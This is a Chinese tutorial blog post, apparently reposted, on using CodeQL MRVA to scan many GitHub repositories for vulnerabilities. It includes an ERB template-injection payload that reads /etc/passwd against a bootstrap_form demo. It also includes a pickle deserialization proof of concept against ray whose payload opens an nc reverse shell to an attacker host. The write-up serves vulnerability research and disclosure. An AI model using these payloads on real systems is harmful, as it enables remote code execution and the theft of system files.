使用 MRVA CodeQL 对开源项目进行大规模漏洞挖掘

2023-10-18 11:12

本文主要是介绍使用 MRVA CodeQL 对开源项目进行大规模漏洞挖掘,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.什么是 MRVA?

CodeQL相关的资料目前已经非常多了,但是大部分都集中在介绍ql语法以及基本使用上,更多关注的是对单个项目进行分析。那么如何批量进行漏洞挖掘呢?这里介绍下MRVA。

MRVA是multi-repository variant analysis 的缩写。其实是VScode 里codeql插件的一个功能,只不过经常被大家忽视。使用MRVA可以一次性对多个GitHub仓库进行漏洞扫描并且不需要我们编译源码数据库,无疑给我们带来了极大的便利。

当添加大量GitHub仓库时,MRVA通常会比较缓慢,可以通过Github Code Search 查询敏感的sink点,缩小仓库范围,然后再将筛选出来的仓库添加到MVRVA的仓库中从而增加检测速度。如果结合官方或者自定义的ql文件,无疑会大大提高漏洞发现的概率。

2.MRVA vs CodeQL suites

MRVA 和 CodeQL suites之间有什么区别呢?MRVA 其实是建立在CodeQL suites之上的,通过结合github action 来实现,漏洞扫描动作是在GitHub官方镜像里面完成的,这些动作都是对用户透明的。下列两张图生动形象的展示了两者之间的区别。

CodeQL suite

MRVA

CodeQL suite是针对单个项目就像是鱼竿一次只能钓一条,而MRVA则像是渔网,一次可以针对多个仓库,无疑后者会节约大量时间。

3.如何使用MRVA

3.1 在VSCode中安装codeql插件

搜索并安装codeql插件

3.2 配置 Github controller

MRVA的原理是使用Github actions运行CodeQL queries,为了加快速度GitHub其实已经构建了目标数据库。因此我们需要依赖一个GitHub 仓库来完成GitHhub actions。仓库的名称不重要,但该仓库至少需要一个commit。

建立好controller 仓库后,就可以配置codeql插件了。进入VScode配置中,搜索codeql,如下,在variant analysis中配置。名称和上一步创建的保持一致即可。

4.导入GitHub仓库

在codeql插件中有几种导入仓库的方式

默认情况下有top10、top100、top1000 的仓库地址,如果使用直接勾选即可。也可以根据自己需要选择数据库,点击+号可以直接添加某个仓库,也可以根据仓库owner或者组织进行批量添加。

当选择文件夹的标志时,可以创建一个list,这里创建了一个test,在test鼠标右键可以看到支持从GitHub Code Search直接添加仓库,这样筛选出来的仓库存在漏洞的概率就更大,检测的时间也更短。

同时我们也可以直接修改配置文件,添加仓库。

5.MRVA漏洞挖掘实战

5.1服务器端模板注入 (Ruby)

我们通过服务器端模板注入漏洞为例,来测试下 MRVA。该ql已经集成进codeql suites中,
ruby/ql/src/experimental/template-injection/TemplateInjection.ql。

使用上述ql语句扫描了GitHub top1000的项目,排除误报后发现了下列项目存在漏洞:
bootstrap-ruby/bootstrap_form.


下面对漏洞进行验证:

bootstrap_form/demo/bin ❯ sudo ./rails s

执行完毕之后,demo运行在3000端口

def fragment

@erb = params[:erb]

@erb.prepend '<div class="p-3 border">'

@erb << "</div>"

load_models

render inline: @erb, layout: "application" # rubocop: disable Rails/RenderInline

end

从上面代码可知,demo应用接收了erb参数并拼接了html标签最后解析执行,从下面代码可知路由为/fragment

Dummy::Application.routes.draw do

get "fragment" => "bootstrap#fragment", as: :fragment

resources :users

root to: "bootstrap#form"

end

分析完毕代码之后,我们尝试通过如下payload 利用ssti读取passwd文件:

<%= IO.popen('cat /etc/passwd').readlines() %>

可惜的是虽然证明了上述demo确实存在漏洞,但由于该demo仅供演示,因此没有危害。但我们整个流程是走通了。

5.2不安全的反序列化 (Python)

使用默认的codeql suites的python ql文件UnsafeDeserialization.ql对GitHub top 1000项目进行扫描,发现ray项目存在漏洞。


从上述查询结果中可以发现RLlib的 PolicyServerInput 类 (
/ray/python/ray/rllib/env/policy_server_input.py)直接对用户提交的raw_body进行了反序列化操作,如下

def do_POST(self):

content_len = int(self.headers.get("Content-Length"), 0)

raw_body = self.rfile.read(content_len)

parsed_input = pickle.loads(raw_body)

经分析发现上述危险类在
/ray/rllib/examples/serving/cartpole_server.py (l.101-115)中使用

if __name__ == "__main__":

args = parser.parse_args()

ray.init()

def _input(ioctx):

if ioctx.worker_index > 0 or ioctx.worker.num_workers == 0:

return PolicyServerInput(

ioctx,

SERVER_ADDRESS,

args.port + ioctx.worker_index - (1 if ioctx.worker_index > 0 else 0),

)

启动该server并进行测试

python3 /ray/rllib/examples/serving/cartpole_server.py

poc如下,发送恶意的代码到目标端口并监听反向连接

import requests

import pickle

import os

attacker = "localhost"

attacker_port = "4444"

class RCE:

def __reduce__(self):

cmd = (f'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {attacker} {attacker_port} > /tmp/f')

return os.system, (cmd,)

# Serialize the malicious class

pickled = pickle.dumps(RCE())

# Define the URL to which you want to send the POST request

url = "http://localhost:9900/"

headers = {

"Content-Type": "application/octet-stream", # Indicate that we are sending binary data

}

# Send the POST request with the serialized data

requests.post(url, data=pickled, headers=headers)

执行poc之后,接收到反弹shell,证明漏洞确实存在

python3 exploit.py

经过与ray官方沟通,官方认为该接口不应暴露在外,因此不认为是漏洞。经过上述例子再次证明MRVA的强大。

参考链接:

  • https://codeql.github.com/docs/codeql-for-visual-studio-code/running-codeql-queries-at-scale-with-mrva/
  • https://maikypedia.gitlab.io/posts/finding-vulns-with-mrva-codeql/

这篇关于使用 MRVA CodeQL 对开源项目进行大规模漏洞挖掘的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/232196

相关文章

使用Python从PPT文档中提取图片和图片信息(如坐标、宽度和高度等)

《使用Python从PPT文档中提取图片和图片信息(如坐标、宽度和高度等)》PPT是一种高效的信息展示工具,广泛应用于教育、商务和设计等多个领域,PPT文档中常常包含丰富的图片内容,这些图片不仅提升了... 目录一、引言二、环境与工具三、python 提取PPT背景图片3.1 提取幻灯片背景图片3.2 提取

springboot项目如何开启https服务

《springboot项目如何开启https服务》:本文主要介绍springboot项目如何开启https服务方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录springboot项目开启https服务1. 生成SSL证书密钥库使用keytool生成自签名证书将

使用Python实现图像LBP特征提取的操作方法

《使用Python实现图像LBP特征提取的操作方法》LBP特征叫做局部二值模式,常用于纹理特征提取,并在纹理分类中具有较强的区分能力,本文给大家介绍了如何使用Python实现图像LBP特征提取的操作方... 目录一、LBP特征介绍二、LBP特征描述三、一些改进版本的LBP1.圆形LBP算子2.旋转不变的LB

Maven的使用和配置国内源的保姆级教程

《Maven的使用和配置国内源的保姆级教程》Maven是⼀个项目管理工具,基于POM(ProjectObjectModel,项目对象模型)的概念,Maven可以通过一小段描述信息来管理项目的构建,报告... 目录1. 什么是Maven?2.创建⼀个Maven项目3.Maven 核心功能4.使用Maven H

Python中__init__方法使用的深度解析

《Python中__init__方法使用的深度解析》在Python的面向对象编程(OOP)体系中,__init__方法如同建造房屋时的奠基仪式——它定义了对象诞生时的初始状态,下面我们就来深入了解下_... 目录一、__init__的基因图谱二、初始化过程的魔法时刻继承链中的初始化顺序self参数的奥秘默认

SpringBoot使用GZIP压缩反回数据问题

《SpringBoot使用GZIP压缩反回数据问题》:本文主要介绍SpringBoot使用GZIP压缩反回数据问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录SpringBoot使用GZIP压缩反回数据1、初识gzip2、gzip是什么,可以干什么?3、Spr

Spring Boot 集成 Quartz并使用Cron 表达式实现定时任务

《SpringBoot集成Quartz并使用Cron表达式实现定时任务》本篇文章介绍了如何在SpringBoot中集成Quartz进行定时任务调度,并通过Cron表达式控制任务... 目录前言1. 添加 Quartz 依赖2. 创建 Quartz 任务3. 配置 Quartz 任务调度4. 启动 Sprin

Linux下如何使用C++获取硬件信息

《Linux下如何使用C++获取硬件信息》这篇文章主要为大家详细介绍了如何使用C++实现获取CPU,主板,磁盘,BIOS信息等硬件信息,文中的示例代码讲解详细,感兴趣的小伙伴可以了解下... 目录方法获取CPU信息:读取"/proc/cpuinfo"文件获取磁盘信息:读取"/proc/diskstats"文

Java使用SLF4J记录不同级别日志的示例详解

《Java使用SLF4J记录不同级别日志的示例详解》SLF4J是一个简单的日志门面,它允许在运行时选择不同的日志实现,这篇文章主要为大家详细介绍了如何使用SLF4J记录不同级别日志,感兴趣的可以了解下... 目录一、SLF4J简介二、添加依赖三、配置Logback四、记录不同级别的日志五、总结一、SLF4J

将Java项目提交到云服务器的流程步骤

《将Java项目提交到云服务器的流程步骤》所谓将项目提交到云服务器即将你的项目打成一个jar包然后提交到云服务器即可,因此我们需要准备服务器环境为:Linux+JDK+MariDB(MySQL)+Gi... 目录1. 安装 jdk1.1 查看 jdk 版本1.2 下载 jdk2. 安装 mariadb(my